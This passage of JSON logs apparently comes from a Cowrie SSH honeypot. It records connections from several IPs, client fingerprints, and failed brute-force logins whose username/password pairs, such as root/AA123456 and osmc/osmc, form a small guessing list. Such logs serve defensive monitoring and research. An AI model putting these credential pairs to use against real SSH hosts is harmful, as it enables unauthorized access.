{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":38256,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab1253ad563f","protocol":"ssh","message":"New connection: 91.92.40.171:38256 (159.203.135.109:22) [session: ab1253ad563f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:38.206390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:38.385651Z","src_ip":"91.92.40.171","session":"ab1253ad563f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:38.388896Z","src_ip":"91.92.40.171","session":"ab1253ad563f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:38.426388Z","src_ip":"91.92.42.133","session":"63df409b1aff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:38.432346Z","src_ip":"91.92.42.133","session":"63df409b1aff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:38.585446Z","src_ip":"91.92.40.171","session":"07d1443b4759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfasdf-space","message":"login attempt [root/asdfasdf-space] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:39.270009Z","src_ip":"91.92.40.171","session":"ab1253ad563f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:40.044524Z","src_ip":"91.92.42.133","session":"63df409b1aff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:40.533150Z","src_ip":"91.92.40.171","session":"ab1253ad563f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:41.400844Z","src_ip":"91.92.42.133","session":"63df409b1aff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":36632,"dst_ip":"159.203.135.109","dst_port":22,"session":"aff92028b4de","protocol":"ssh","message":"New connection: 77.94.47.83:36632 (159.203.135.109:22) [session: aff92028b4de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:42.474386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:42.477934Z","src_ip":"77.94.47.83","session":"aff92028b4de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:42.586101Z","src_ip":"77.94.47.83","session":"aff92028b4de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"18051995","message":"login attempt [root/18051995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:42.919005Z","src_ip":"77.94.47.83","session":"aff92028b4de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":38334,"dst_ip":"159.203.135.109","dst_port":22,"session":"71e1ec072bbb","protocol":"ssh","message":"New connection: 91.92.40.171:38334 (159.203.135.109:22) [session: 71e1ec072bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:43.971630Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:44.032758Z","src_ip":"77.94.47.83","session":"aff92028b4de","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:44.188051Z","src_ip":"91.92.40.171","session":"71e1ec072bbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:44.191429Z","src_ip":"91.92.40.171","session":"71e1ec072bbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwe123456","message":"login attempt [user/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:45.130999Z","src_ip":"91.92.40.171","session":"71e1ec072bbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:46.268792Z","src_ip":"91.92.40.171","session":"71e1ec072bbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":45300,"dst_ip":"159.203.135.109","dst_port":22,"session":"341b8aa46613","protocol":"ssh","message":"New connection: 91.92.42.133:45300 (159.203.135.109:22) [session: 341b8aa46613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:46.585537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:46.671438Z","src_ip":"91.92.42.133","session":"341b8aa46613","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:46.679210Z","src_ip":"91.92.42.133","session":"341b8aa46613","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"root","message":"login attempt [gitlab/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:47.333466Z","src_ip":"91.92.42.133","session":"341b8aa46613","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:48.618877Z","src_ip":"91.92.42.133","session":"341b8aa46613","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":36782,"dst_ip":"159.203.135.109","dst_port":22,"session":"621b6b8a1fbf","protocol":"ssh","message":"New connection: 91.92.40.171:36782 (159.203.135.109:22) [session: 621b6b8a1fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:50.138342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:50.181940Z","src_ip":"91.92.40.171","session":"621b6b8a1fbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:50.287192Z","src_ip":"91.92.40.171","session":"621b6b8a1fbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456","message":"login attempt [root/AA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:51.169834Z","src_ip":"91.92.40.171","session":"621b6b8a1fbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":44434,"dst_ip":"10.17.0.5","dst_port":22,"session":"44ca346a10e4","protocol":"ssh","message":"New connection: 27.71.230.31:44434 (10.17.0.5:22) [session: 44ca346a10e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:51.421148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:51.568885Z","src_ip":"27.71.230.31","session":"44ca346a10e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:51.878257Z","src_ip":"27.71.230.31","session":"44ca346a10e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:52.279021Z","src_ip":"91.92.40.171","session":"621b6b8a1fbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":45344,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce2f88672af2","protocol":"ssh","message":"New connection: 91.92.42.133:45344 (159.203.135.109:22) [session: ce2f88672af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:53.672995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:54.170488Z","src_ip":"91.92.42.133","session":"ce2f88672af2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:54.173849Z","src_ip":"91.92.42.133","session":"ce2f88672af2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2024","message":"login attempt [root/Admin2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:56.327876Z","src_ip":"27.71.230.31","session":"44ca346a10e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:56.583784Z","src_ip":"91.92.42.133","session":"ce2f88672af2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":46850,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e983d33f5d2","protocol":"ssh","message":"New connection: 91.92.40.171:46850 (159.203.135.109:22) [session: 0e983d33f5d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:57.210184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:57.461716Z","src_ip":"91.92.40.171","session":"0e983d33f5d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:57.687510Z","src_ip":"91.92.42.133","session":"ce2f88672af2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr"